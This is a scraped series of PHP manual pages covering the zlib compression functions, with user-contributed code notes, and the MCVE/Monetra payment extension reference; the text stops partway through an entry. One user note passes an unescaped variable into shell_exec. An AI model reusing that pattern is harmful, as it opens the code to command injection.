Sets the file position indicator for the given file pointer to the given offset byte into the file stream. Equivalent to calling (in C) gzseek(zp, offset, SEEK_SET).

If the file is opened for reading, this function is emulated but can be extremely slow. If the file is opened for writing, only forward seeks are supported; gzseek() then compresses a sequence of zeroes up to the new starting position.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

offset

The seeked offset.

whence

whence values are:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.

If whence is not specified, it is assumed to be SEEK_SET.

Return Values

Upon success, returns 0; otherwise, returns -1. Note that seeking past EOF is not considered an error.

Examples

Example #1 gzseek() example

<?php
$gz = gzopen('somefile.gz', 'r');
gzseek($gz,2);
echo gzgetc($gz);
gzclose($gz);
?>

See Also

  • gztell() - Tell gz-file pointer read/write position
  • gzrewind() - Rewind the position of a gz-file pointer

User Contributed Notes

dperham at wgate dot com 12-Apr-2005 08:47
PHP/4.3.9
contrary to the notes, gzseek() returns -1 if I try to seek past the end of the file.  here is a function that will return the last seekable position, and put the file pointer there.

/** sets the file pointer at the end of the file
 *  and returns the number of bytes in the file.
 */
function gzend($fh)
{
   $d   = 1<<14;
   $eof = $d;
   while ( gzseek($fh, $eof) == 0 ) $eof += $d;
   while ( $d > 1 )
   {
      $d >>= 1;
      $eof += $d * (gzseek($fh, $eof)? -1 : 1);
   }
   return $eof;
}
gzrewind
gztell
Zlib Functions


Tell gz-file pointer read/write position

gzseek
gzuncompress
Zlib Functions
PHP Manual

gztell

(PHP 4, PHP 5)

gztell — Tell gz-file pointer read/write position

Description

int gztell ( resource $zp )

Gets the position of the given file pointer; i.e., its offset into the uncompressed file stream.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

The position of the file pointer or FALSE if an error occurs.

See Also

  • gzopen() - Open gz-file
  • gzseek() - Seek on a gz-file pointer
  • gzrewind() - Rewind the position of a gz-file pointer

User Contributed Notes

Steve Ramage 18-Dec-2006 10:09
ok so this function returns the gz file pointer as the uncompressed data byte length so if you are trying to put something in to specific size gzip files it won't work.

Example:

<?
//some_file.sql  filesize = 2,048,000 bytes

$text_fp=fopen('some_file.sql','r');
$gz_fp=gzopen('some_file.sql.gz','wb9');
while(!feof($text_fp)){
    gzwrite($gz_fp,fread($text_fp,655360));
}
fclose($text_fp);
echo "gztell = ".gztell($gz_fp)."<BR>\n";
gzclose($gz_fp);
echo "filesize = ".filesize('some_file.sql.gz')."<BR>\n";
?>

Output:

gztell = 2048000
filesize = 249264

I will report this as a bug but post a note here for now
gzseek
gzuncompress
Zlib Functions


Uncompress a compressed string

gztell
gzwrite
Zlib Functions
PHP Manual

gzuncompress

(PHP 4 >= 4.0.1, PHP 5)

gzuncompress — Uncompress a compressed string

Description

string gzuncompress ( string $data [, int $length = 0 ] )

This function uncompress a compressed string.

Parameters

data

The data compressed by gzcompress().

length

The maximum length of data to decode.

Return Values

The original uncompressed data or FALSE on error.

The function will return an error if the uncompressed data is more than 32768 times the length of the compressed input data or more than the optional parameter length.

Examples

Example #1 gzuncompress() example

<?php
$compressed   = gzcompress('Compress me', 9);
$uncompressed = gzuncompress($compressed);
echo $uncompressed;
?>

See Also

  • gzcompress() - Compress a string
  • gzinflate() - Inflate a deflated string
  • gzdeflate() - Deflate a string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

MagicalTux at php dot net 31-Dec-2010 01:36
Hi, I got an alternative for those zipped strings that gzuncompress() cannot extract.

It is a bit better than previous options as it do not create any temporary files, but it has to encode the string in base64, meaning it won't be as fast as a native equivalent (which is probably going to be gzdecode())

<?php
if (!function_exists('gzdecode')) {
    function gzdecode($string) { // no support for 2nd argument
        return file_get_contents('compress.zlib://data:who/cares;base64,'. base64_encode($string));
    }
}
?>
squeegee 23-Aug-2009 07:07
One way to uncompress zlib-compressed data that is in a file without first reading in the file and then gzuncompressing it (maybe you have memory problems doing it that way) is to compile the zpipe.c program from zlib ( http://www.zlib.net/zpipe.c )...

on linux, etc:

# gcc -lz -o zpipe zpipe.c

# cp zpipe /usr/local/bin

Then do this

<?php

$uncompressed = shell_exec("cat $compressed_file | zpipe -d");

?>
heavyccasey at gmail dot com 07-Nov-2007 08:30
Note that gzuncompress() may not decompress some compressed strings and return a Data Error.

The problem could be that the outside compressed string has a CRC32 checksum at the end of the file instead of Adler-32, like PHP expects.

Workaround:
<?php
    function gzuncompress_crc32($data) {
         $f = tempnam('/tmp', 'gz_fix');
         file_put_contents($f, "\x1f\x8b\x08\x00\x00\x00\x00\x00" . $data);
         return file_get_contents('compress.zlib://' . $f);
    }
?>
gabriel at bumpt dot n-et 17-Sep-2007 03:08
To uncompress in PHP a string that has been compressed using MySQL's COMPRESS() function, you need to discard the first four bytes of the binary data:

<?php

  /*
   * Example:
   *
   * insert into mytable (myfield, ...) values (COMPRESS('foobar'), ...)
   *
   * then:
   */
$compressed = //...select myfield from mytable where...
  /*
   * then:
   */
$uncompressed = gzuncompress(substr($compressed, 4));
?>

Of course, you can use MySQL's UNCOMPRESS() function.
I was just providing an alternate method.
emanuele at fondani dot it 25-Nov-2006 03:21
Note that the manual states that the input parameter must be a string compressed with gzcompress(), so it is not guaranteed that it will compress ANY zlib compressed string.
I realized this while decompressing some compressed string in a pdf file. The gzuncompress() function produces a data error, but the string can be successfully decompressed with other zlib decompressors.

More info here:
http://bugs.php.net/?id=39616
chappy at citromail dot hu 13-Apr-2006 07:47
Reading an ID3v2.3+ tag it is versy useful, because these tag's frames might be compressed. Zlib compressed frame layout (ID3v2.3):

Descriptior                                                    Size
-------------------
Frameheader:
Frame id:                                                      4 bytes
Frame size (full frame size - frameheader size): 4 bytes
Frame flags:                                                  2 bytes
    The 2nd byte's 7th bit must be 1 (e.g.: %1xy00000)
Frame content decrompessed size:                   4 bytes
--------------------
Framecontent:
Compressed string                                          described in 'frame size'

<?php
$frame="[read from a mp3 file]";
$frame_id=substr($frame,0,4);
/*....*/
$cs=substr($frame,10,4);
$checksize=$cs[3]*16777216+$cs[2]*65536+$cs[1]*256+$cs[0];

$content=substr($frame,14,$contentsize);
$content=gzuncompress($content);
if(strlen($content)!=$checksize){
    echo 'Error whil uncrompessing frame data<br>';
}
echo $content;
?>
gztell
gzwrite
Zlib Functions


Binary-safe gz-file write

gzuncompress
readgzfile
Zlib Functions
PHP Manual

gzwrite

(PHP 4, PHP 5)

gzwrite — Binary-safe gz-file write

Description

int gzwrite ( resource $zp , string $string [, int $length ] )

gzwrite() writes the contents of string to the given gz-file.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

string

The string to write.

length

The number of uncompressed bytes to write. If supplied, writing will stop after length (uncompressed) bytes have been written or the end of string is reached, whichever comes first.

Note:

Note that if the length argument is given, then the magic_quotes_runtime configuration option will be ignored and no slashes will be stripped from string.

Return Values

Returns the number of (uncompressed) bytes written to the given gz-file stream.

Examples

Example #1 gzwrite() example

<?php
$string = 'Some information to compress';
$gz = gzopen('somefile.gz','w9');
gzwrite($gz, $string);
gzclose($gz);
?>

See Also

  • gzread() - Binary-safe gz-file read
  • gzopen() - Open gz-file

User Contributed Notes

Take Heed 07-Nov-2010 12:50
Read the description of gzwrite() very carefully.  If the 'length' option is not specified, then the input data will have slashes stripped on systems where magic quotes are enabled.  This is important information to know when compressing files.

<?php
$data = fread($fp, 5000);
gzwrite($fp2, $data, strlen($data));
?>

Is the correct way to avoid issues with magic quotes.
calmarius at nospam dot atw dot hu 05-Feb-2009 08:07
gz compression is often used with tar archives. Building tar archives is quite easy. Here is a code snipplet which can be used for building tar archives before compressing them to tar.gz.

<?php

//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
// Adds file header to the tar file, it is used before adding file content.
// f: file resource (provided by eg. fopen)
// phisfn: path to file
// archfn: path to file in archive, directory names must be followed by '/'
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
function TarAddHeader($f,$phisfn,$archfn)
{
    $info=stat($phisfn);
    $ouid=sprintf("%6s ", decoct($info[4]));
    $ogid=sprintf("%6s ", decoct($info[5]));
    $omode=sprintf("%6s ", decoct(fileperms($phisfn)));
    $omtime=sprintf("%11s", decoct(filemtime($phisfn)));
    if (@is_dir($phisfn))
    {
         $type="5";
         $osize=sprintf("%11s ", decoct(0));
    }
    else
    {
         $type='';
         $osize=sprintf("%11s ", decoct(filesize($phisfn)));
         clearstatcache();
    }
    $dmajor = '';
    $dminor = '';
    $gname = '';
    $linkname = '';
    $magic = '';
    $prefix = '';
    $uname = '';
    $version = '';
    $chunkbeforeCS=pack("a100a8a8a8a12A12",$archfn, $omode, $ouid, $ogid, $osize, $omtime);
    $chunkafterCS=pack("a1a100a6a2a32a32a8a8a155a12", $type, $linkname, $magic, $version, $uname, $gname, $dmajor, $dminor ,$prefix,'');

    $checksum = 0;
    for ($i=0; $i<148; $i++) $checksum+=ord(substr($chunkbeforeCS,$i,1));
    for ($i=148; $i<156; $i++) $checksum+=ord(' ');
    for ($i=156, $j=0; $i<512; $i++, $j++)    $checksum+=ord(substr($chunkafterCS,$j,1));

    fwrite($f,$chunkbeforeCS,148);
    $checksum=sprintf("%6s ",decoct($checksum));
    $bdchecksum=pack("a8", $checksum);
    fwrite($f,$bdchecksum,8);
    fwrite($f,$chunkafterCS,356);
    return true;
}
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
// Writes file content to the tar file must be called after a TarAddHeader
// f:file resource provided by fopen
// phisfn: path to file
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
function TarWriteContents($f,$phisfn)
{
    if (@is_dir($phisfn))
    {
        return;
    }
    else
    {
        $size=filesize($phisfn);
        $padding=$size % 512 ? 512-$size%512 : 0;
        $f2=fopen($phisfn,"rb");
        while (!feof($f2)) fwrite($f,fread($f2,1024*1024));
        $pstr=sprintf("a%d",$padding);
        fwrite($f,pack($pstr,''));
    }
}
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
// Adds 1024 byte footer at the end of the tar file
// f: file resource
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
function TarAddFooter($f)
{
    fwrite($f,pack('a1024',''));
}

?>
repository at lamaresh dot net 03-Feb-2009 10:37
This function add a line to a .gz compressed file

<?php
function AppendLineGz($file,$string) {
    if (file_exists($file)) {
        $lines = gzfile($file);
        $lines[count($lines)] = "$string\r\n";
        $input=implode($lines);
    } else {$input="$string\r\n";}
    $gz = gzopen($file,'w9');
    gzwrite($gz, $input);
    gzclose($gz);
}
?>
Anonymous 27-Mar-2008 12:34
katzlbtjunk's method is certainly shorter, but it is unusable for anything except small files.  It would try to load the whole file into memory, then create an entire compressed copy, and only then write it to disk.  The other method given below will not exhaust memory like that.
katzlbtjunk at hotmail dot com 21-Feb-2008 11:24
How about this instead:
$s = file_get_contents('file.tar');
file_put_contents('file.tar.gz',gzencode($s,9));
Kioob 13-Aug-2003 04:30
This is a short example of use gzwrite function.
<?php
function gzcompressfile($source,$level=false){
    $dest=$source.'.gz';
    $mode='wb'.$level;
    $error=false;
    if($fp_out=gzopen($dest,$mode)){
        if($fp_in=fopen($source,'rb')){
            while(!feof($fp_in))
                gzwrite($fp_out,fread($fp_in,1024*512));
            fclose($fp_in);
            }
          else $error=true;
        gzclose($fp_out);
        }
      else $error=true;
    if($error) return false;
      else return $dest;
    }
?>

the function gzcompressfile() compress a file 'data.csv' to 'data.csv.gz'. the function return false if error, and the new file name if it's ok.
gzuncompress
readgzfile
Zlib Functions


Output a gz-file

gzwrite
zlib_get_coding_type
Zlib Functions
PHP Manual

readgzfile

(PHP 4, PHP 5)

readgzfile — Output a gz-file

Description

int readgzfile ( string $filename [, int $use_include_path = 0 ] )

Reads a file, decompresses it and writes it to standard output.

readgzfile() can be used to read a file which is not in gzip format; in this case readgzfile() will directly read from the file without decompression.

Parameters

filename

The file name. This file will be opened from the filesystem and its contents written to standard output.

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

Return Values

Returns the number of (uncompressed) bytes read from the file. If an error occurs, FALSE is returned and unless the function was called as @readgzfile, an error message is printed.

See Also

  • gzpassthru() - Output all remaining data on a gz-file pointer
  • gzfile() - Read entire gz-file into an array
  • gzopen() - Open gz-file

User Contributed Notes

glennh at webadept dot net 02-Oct-2003 01:52
This is a rather simple example of usage for this function, but it does work, and it solved a problem I was using with old browsers accessing gzipped files.

<?PHP

// first we need to stop the server from sending any headers at all.
ob_start();

readgzfile("test.html.gz"); // read the file and output directly to
the browser
                                      // non compressed data from the
file

ob_end_flush(); // let the headers go//

?>

There is no need for any html formating if the source file is an HTML formated page, such as the ones I'm using are. Checking the browser version, sends either the gzip file directly, or sends the browser to a page like this, which does the work for it. Well done simple function.

My server is running PHP 4.2.2 on Linux Redhat version 9 and
Apache 2.0.40
gzwrite
zlib_get_coding_type
Zlib Functions


Returns the coding type used for output compression

readgzfile
Credit Card Processing
Zlib Functions
PHP Manual

zlib_get_coding_type

(PHP 4 >= 4.3.2, PHP 5)

zlib_get_coding_type — Returns the coding type used for output compression

Description

string zlib_get_coding_type ( void )

Returns the coding type used for output compression.

Return Values

Possible return values are gzip, deflate, or FALSE.

See Also

  • The zlib.output_compression directive

User Contributed Notes

There are no user contributed notes for this page.
readgzfile
Credit Card Processing
Zlib Functions


Credit Card Processing

  • MCVE — MCVE (Monetra) Payment
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • MCVE Functions
  • SPPLUS — SPPLUS Payment System
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SPPLUS Functions

User Contributed Notes

There are no user contributed notes for this page.
zlib_get_coding_type
MCVE
Function Reference


MCVE (Monetra) Payment

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • MCVE Functions
    • m_checkstatus — Check to see if a transaction has completed
    • m_completeauthorizations — Number of complete authorizations in queue, returning an array of their identifiers
    • m_connect — Establish the connection to MCVE
    • m_connectionerror — Get a textual representation of why a connection failed
    • m_deletetrans — Delete specified transaction from MCVE_CONN structure
    • m_destroyconn — Destroy the connection and MCVE_CONN structure
    • m_destroyengine — Free memory associated with IP/SSL connectivity
    • m_getcell — Get a specific cell from a comma delimited response by column name
    • m_getcellbynum — Get a specific cell from a comma delimited response by column number
    • m_getcommadelimited — Get the RAW comma delimited data returned from MCVE
    • m_getheader — Get the name of the column in a comma-delimited response
    • m_initconn — Create and initialize an MCVE_CONN structure
    • m_initengine — Ready the client for IP/SSL Communication
    • m_iscommadelimited — Checks to see if response is comma delimited
    • m_maxconntimeout — The maximum amount of time the API will attempt a connection to MCVE
    • m_monitor — Perform communication with MCVE (send/receive data) Non-blocking
    • m_numcolumns — Number of columns returned in a comma delimited response
    • m_numrows — Number of rows returned in a comma delimited response
    • m_parsecommadelimited — Parse the comma delimited response so m_getcell, etc will work
    • m_responsekeys — Returns array of strings which represents the keys that can be used for response parameters on this transaction
    • m_responseparam — Get a custom response parameter
    • m_returnstatus — Check to see if the transaction was successful
    • m_setblocking — Set blocking/non-blocking mode for connection
    • m_setdropfile — Set the connection method to Drop-File
    • m_setip — Set the connection method to IP
    • m_setssl_cafile — Set SSL CA (Certificate Authority) file for verification of server certificate
    • m_setssl_files — Set certificate key files and certificates if server requires client certificate verification
    • m_setssl — Set the connection method to SSL
    • m_settimeout — Set maximum transaction time (per trans)
    • m_sslcert_gen_hash — Generate hash for SSL client certificate verification
    • m_transactionssent — Check to see if outgoing buffer is clear
    • m_transinqueue — Number of transactions in client-queue
    • m_transkeyval — Add key/value pair to a transaction. Replaces deprecated transparam()
    • m_transnew — Start a new transaction
    • m_transsend — Finalize and send the transaction
    • m_uwait — Wait x microsecs
    • m_validateidentifier — Whether or not to validate the passed identifier on any transaction it is passed to
    • m_verifyconnection — Set whether or not to PING upon connect to verify connection
    • m_verifysslcert — Set whether or not to verify the server ssl certificate

User Contributed Notes

There are no user contributed notes for this page.
Credit Card Processing
Introduction
Credit Card Processing


Introduction

These functions interface the MCVE (Monetra) API (libmonetra, formerly known as libmcve), allowing you to work directly with MCVE/Monetra from your PHP scripts. MCVE/Monetra is Main Street Softworks' solution to direct credit/debit/gift card processing for Linux/Unix/MacOSX/Windows ( » http://www.mainstreetsoftworks.com/ ). It lets you directly address the credit card clearing houses via your *nix box, modem and/or internet connection (bypassing the need for an additional service such as Authorize.Net or Pay Flow Pro). Using the MCVE/Monetra module for PHP, you can process credit cards directly through MCVE/Monetra via your PHP scripts. The following references will outline the process.

Note:

MCVE/Monetra is the replacement for RedHat's CCVS. They contracted with RedHat in late 2001 to migrate all existing clientele to the MCVE platform.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
MCVE
Installing/Configuring
MCVE


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
MCVE


Requirements

The LibMonetra (formerly libmcve) library.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mcve.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

If installing without specifying the libmonetra path, PHP will attempt to look in the default LibMonetra Install location (/usr/local). If Monetra (MCVE) is in a non-standard location, run configure with: --with-mcve=$mcve_path , where $mcve_path is the path to your MCVE/Monetra installation. Please note that MCVE/Monetra support requires that $mcve_path/lib and $mcve_path/include exist, and include mcve.h or monetra.h under the include directory and libmcve.so and/or libmcve.a and/or libmonetra.so and/or libmonetra.a under the lib directory.

Since MCVE/Monetra has true server/client separation, there are no additional requirements for running PHP with MCVE support. To test your MCVE/Monetra extension in PHP, you may connect to testbox.monetra.com on port 8333 for IP, or port 8444 for SSL using the MCVE/Monetra PHP API. Use 'vitale' for your username, and 'test' for your password. Additional information about test facilities are available at » http://www.mainstreetsoftworks.com/.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension defines a MCVE_CONN resource returned by m_initconn().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

M_PENDING (integer)
M_DONE (integer)
M_ERROR (integer)
M_FAIL (integer)
M_SUCCESS (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
MCVE Functions
MCVE


MCVE Functions

See Also

Additional documentation about MCVE/Monetra's PHP API can be found at » http://www.mainstreetsoftworks.com/documentation.html. Main Street's documentation is complete and should be the primary reference for functions.

Table of Contents

  • m_checkstatus — Check to see if a transaction has completed
  • m_completeauthorizations — Number of complete authorizations in queue, returning an array of their identifiers
  • m_connect — Establish the connection to MCVE
  • m_connectionerror — Get a textual representation of why a connection failed
  • m_deletetrans — Delete specified transaction from MCVE_CONN structure
  • m_destroyconn — Destroy the connection and MCVE_CONN structure
  • m_destroyengine — Free memory associated with IP/SSL connectivity
  • m_getcell — Get a specific cell from a comma delimited response by column name
  • m_getcellbynum — Get a specific cell from a comma delimited response by column number
  • m_getcommadelimited — Get the RAW comma delimited data returned from MCVE
  • m_getheader — Get the name of the column in a comma-delimited response
  • m_initconn — Create and initialize an MCVE_CONN structure
  • m_initengine — Ready the client for IP/SSL Communication
  • m_iscommadelimited — Checks to see if response is comma delimited
  • m_maxconntimeout — The maximum amount of time the API will attempt a connection to MCVE
  • m_monitor — Perform communication with MCVE (send/receive data) Non-blocking
  • m_numcolumns — Number of columns returned in a comma delimited response
  • m_numrows — Number of rows returned in a comma delimited response
  • m_parsecommadelimited — Parse the comma delimited response so m_getcell, etc will work
  • m_responsekeys — Returns array of strings which represents the keys that can be used for response parameters on this transaction
  • m_responseparam — Get a custom response parameter
  • m_returnstatus — Check to see if the transaction was successful
  • m_setblocking — Set blocking/non-blocking mode for connection
  • m_setdropfile — Set the connection method to Drop-File
  • m_setip — Set the connection method to IP
  • m_setssl_cafile — Set SSL CA (Certificate Authority) file for verification of server certificate
  • m_setssl_files — Set certificate key files and certificates if server requires client certificate verification
  • m_setssl — Set the connection method to SSL
  • m_settimeout — Set maximum transaction time (per trans)
  • m_sslcert_gen_hash — Generate hash for SSL client certificate verification
  • m_transactionssent — Check to see if outgoing buffer is clear
  • m_transinqueue — Number of transactions in client-queue
  • m_transkeyval — Add key/value pair to a transaction. Replaces deprecated transparam()
  • m_transnew — Start a new transaction
  • m_transsend — Finalize and send the transaction
  • m_uwait — Wait x microsecs
  • m_validateidentifier — Whether or not to validate the passed identifier on any transaction it is passed to
  • m_verifyconnection — Set whether or not to PING upon connect to verify connection
  • m_verifysslcert — Set whether or not to verify the server ssl certificate

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
m_checkstatus
MCVE


Check to see if a transaction has completed

MCVE Functions
m_completeauthorizations
MCVE Functions
PHP Manual

m_checkstatus

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_checkstatus — Check to see if a transaction has completed

Description

int m_checkstatus ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.
MCVE Functions
m_completeauthorizations
MCVE Functions


Number of complete authorizations in queue, returning an array of their identifiers

m_checkstatus
m_connect
MCVE Functions
PHP Manual

m_completeauthorizations

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_completeauthorizations — Number of complete authorizations in queue, returning an array of their identifiers

Description

int m_completeauthorizations ( resource $conn , int &$array )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

array

Its description

Return Values

What the function returns, first on success, then on failure. See also the &return.success; entity

User Contributed Notes

There are no user contributed notes for this page.
m_checkstatus
m_connect
MCVE Functions


Establish the connection to MCVE

m_completeauthorizations
m_connectionerror
MCVE Functions
PHP Manual

m_connect

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_connect — Establish the connection to MCVE

Description

int m_connect ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_completeauthorizations
m_connectionerror
MCVE Functions


Get a textual representation of why a connection failed

m_connect
m_deletetrans
MCVE Functions
PHP Manual

m_connectionerror

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_connectionerror — Get a textual representation of why a connection failed

Description

string m_connectionerror ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_connect
m_deletetrans
MCVE Functions


Delete specified transaction from MCVE_CONN structure

m_connectionerror
m_destroyconn
MCVE Functions
PHP Manual

m_deletetrans

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_deletetrans — Delete specified transaction from MCVE_CONN structure

Description

bool m_deletetrans ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_connectionerror
m_destroyconn
MCVE Functions


Destroy the connection and MCVE_CONN structure

m_deletetrans
m_destroyengine
MCVE Functions
PHP Manual

m_destroyconn

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_destroyconn — Destroy the connection and MCVE_CONN structure

Description

bool m_destroyconn ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

Returns TRUE.

See Also

  • m_initconn() - Create and initialize an MCVE_CONN structure

User Contributed Notes

There are no user contributed notes for this page.
m_deletetrans
m_destroyengine
MCVE Functions


Free memory associated with IP/SSL connectivity

m_destroyconn
m_getcell
MCVE Functions
PHP Manual

m_destroyengine

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_destroyengine — Free memory associated with IP/SSL connectivity

Description

void m_destroyengine ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
m_destroyconn
m_getcell
MCVE Functions


Get a specific cell from a comma delimited response by column name

m_destroyengine
m_getcellbynum
MCVE Functions
PHP Manual

m_getcell

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_getcell — Get a specific cell from a comma delimited response by column name

Description

string m_getcell ( resource $conn , int $identifier , string $column , int $row )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

column

row

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_destroyengine
m_getcellbynum
MCVE Functions


Get a specific cell from a comma delimited response by column number

m_getcell
m_getcommadelimited
MCVE Functions
PHP Manual

m_getcellbynum

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_getcellbynum — Get a specific cell from a comma delimited response by column number

Description

string m_getcellbynum ( resource $conn , int $identifier , int $column , int $row )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

column

row

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_getcell
m_getcommadelimited
MCVE Functions


Get the RAW comma delimited data returned from MCVE

m_getcellbynum
m_getheader
MCVE Functions
PHP Manual

m_getcommadelimited

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_getcommadelimited — Get the RAW comma delimited data returned from MCVE

Description

string m_getcommadelimited ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_getcellbynum
m_getheader
MCVE Functions


Get the name of the column in a comma-delimited response

m_getcommadelimited
m_initconn
MCVE Functions
PHP Manual

m_getheader

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_getheader — Get the name of the column in a comma-delimited response

Description

string m_getheader ( resource $conn , int $identifier , int $column_num )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

column_num

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_getcommadelimited
m_initconn
MCVE Functions


Create and initialize an MCVE_CONN structure

m_getheader
m_initengine
MCVE Functions
PHP Manual

m_initconn

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_initconn — Create and initialize an MCVE_CONN structure

Description

resource m_initconn ( void )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns an MCVE_CONN resource.

See Also

  • m_destroyconn() - Destroy the connection and MCVE_CONN structure

User Contributed Notes

There are no user contributed notes for this page.
m_getheader
m_initengine
MCVE Functions


Ready the client for IP/SSL Communication

m_initconn
m_iscommadelimited
MCVE Functions
PHP Manual

m_initengine

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_initengine — Ready the client for IP/SSL Communication

Description

int m_initengine ( string $location )
Warning

This function is currently not documented; only its argument list is available.

Parameters

location

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_initconn
m_iscommadelimited
MCVE Functions


Checks to see if response is comma delimited

m_initengine
m_maxconntimeout
MCVE Functions
PHP Manual

m_iscommadelimited

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_iscommadelimited — Checks to see if response is comma delimited

Description

int m_iscommadelimited ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_initengine
m_maxconntimeout
MCVE Functions


The maximum amount of time the API will attempt a connection to MCVE

m_iscommadelimited
m_monitor
MCVE Functions
PHP Manual

m_maxconntimeout

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_maxconntimeout — The maximum amount of time the API will attempt a connection to MCVE

Description

bool m_maxconntimeout ( resource $conn , int $secs )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

secs

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_iscommadelimited
m_monitor
MCVE Functions


Perform communication with MCVE (send/receive data) Non-blocking

m_maxconntimeout
m_numcolumns
MCVE Functions
PHP Manual

m_monitor

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_monitor — Perform communication with MCVE (send/receive data) Non-blocking

Description

int m_monitor ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_maxconntimeout
m_numcolumns
MCVE Functions


Number of columns returned in a comma delimited response

m_monitor
m_numrows
MCVE Functions
PHP Manual

m_numcolumns

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_numcolumns — Number of columns returned in a comma delimited response

Description

